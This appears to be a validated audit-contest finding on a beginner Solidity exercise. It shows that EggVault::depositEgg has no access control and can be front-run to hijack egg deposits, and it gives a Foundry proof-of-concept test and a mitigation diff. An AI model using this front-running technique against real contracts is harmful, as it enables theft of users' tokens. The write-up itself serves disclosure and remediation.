Eggstravaganza
First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`EggVault::depositEgg` is susceptible to an MEV front-run attack, leading to an attacker stealing eggs

kagen

Description: A contestant calls EggHuntGame::depositEggToVault to deposit the egg they received from EggHuntGame::searchForEgg. EggHuntGame::depositEggToVault, in turn, transfers ownership of the egg NFT to the vault and then calls EggVault::depositEgg. Since EggVault::depositEgg doesn't have proper access checking, this transaction is susceptible to an MEV front-run attack and the depositor's address can be replaced with the attacker's address in the second parameter of the call to EggVault::depositEgg.

function depositEgg(uint256 tokenId, address depositor) public {
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
require(!storedEggs[tokenId], "Egg already deposited");
storedEggs[tokenId] = true;
eggDepositors[tokenId] = depositor;
emit EggDeposited(depositor, tokenId);
}

Impact: An attacker can steal any egg being deposited in the vault.

Proof of Concept:

When a victim calls EggHuntGame::depositEggToVault, that function will call EggVault::depositEgg. When this transaction appears in the mempool, an attacker can:

  1. See that the game contract is calling EggVault::depositEgg with a specific token id and the depositor address (victim).

  2. Copies the game contract's transaction and changes the depositor address in depositEgg(uint256 tokenId, address depositor) to their own address.

  3. Front-runs the game contract's transaction by submitting the altered transaction with a higher gas price.

  4. Effectively, steals the credit for the egg deposit.

Add the following unit test to EggHuntGameTest.t.sol:

function testMEVAttackDepositEgg() public {
address attacker = makeAddr("attacker");
uint256 tokenId = 20;
// Mint an egg (token id #20) to alice via the game contract.
vm.prank(address(game));
nft.mintEgg(alice, tokenId);
assertEq(nft.ownerOf(tokenId), alice);
​
// Alice approves the game to transfer her NFT.
vm.prank(alice);
nft.approve(address(game), tokenId);
​
// Alice deposits her egg into the vault via the game contract.
vm.prank(address(game));
nft.transferFrom(alice, address(vault), tokenId);
​
// MEV front-run attack: The attacker deposits the egg before the game contract.
vm.prank(address(attacker));
vault.depositEgg(tokenId, attacker);
​
// The game contract tries to deposit the egg to the vault for Alice but
// it's already deposited by the attacker.
vm.prank(address(game));
vm.expectRevert("Egg already deposited");
vault.depositEgg(tokenId, alice);
// The egg with tokenId 20 is deposited by attacker in the vault
assertTrue(vault.isEggDeposited(tokenId));
assertEq(vault.eggDepositors(tokenId), attacker);
​
// Attacker can withdraw the egg.
vm.prank(attacker);
vault.withdrawEgg(tokenId);
}

Run the unit test: forge test --mt testMEVAttackDepositEgg

Ran 1 test for test/EggHuntGameTest.t.sol:EggGameTest
[PASS] testMEVAttackDepositEgg() (gas: 193520)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.02ms (578.21µs CPU time)

Recommended Mitigation:

Combine the NFT transfer and deposit registration into a single atomic transaction in EggVault::depositEgg.

  1. RemoveeggNFT.transferFrom from EggHuntGame::depositEggToVault and add it EggVault::depositEgg.

  2. Remove address depositor from EggVault::depositEgg.

  3. Replace all references to depositor to msg.sender.

- function depositEgg(uint256 tokenId, address depositor) public {
+ function depositEgg(uint256 tokenId) public {
- require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
+ eggNFT.transferFrom(msg.sender, address(this), tokenId);
require(!storedEggs[tokenId], "Egg already deposited");
storedEggs[tokenId] = true;
- eggDepositors[tokenId] = depositor;
+ eggDepositors[tokenId] = msg.sender;
- emit EggDeposited(depositor, tokenId);
+ emit EggDeposited(msg.sender, tokenId);
}
Updates

Lead Judging Commences

m3dython Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Frontrunning Vulnerability DepositEgg

Front-running depositEgg allows deposit ownership hijacking.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!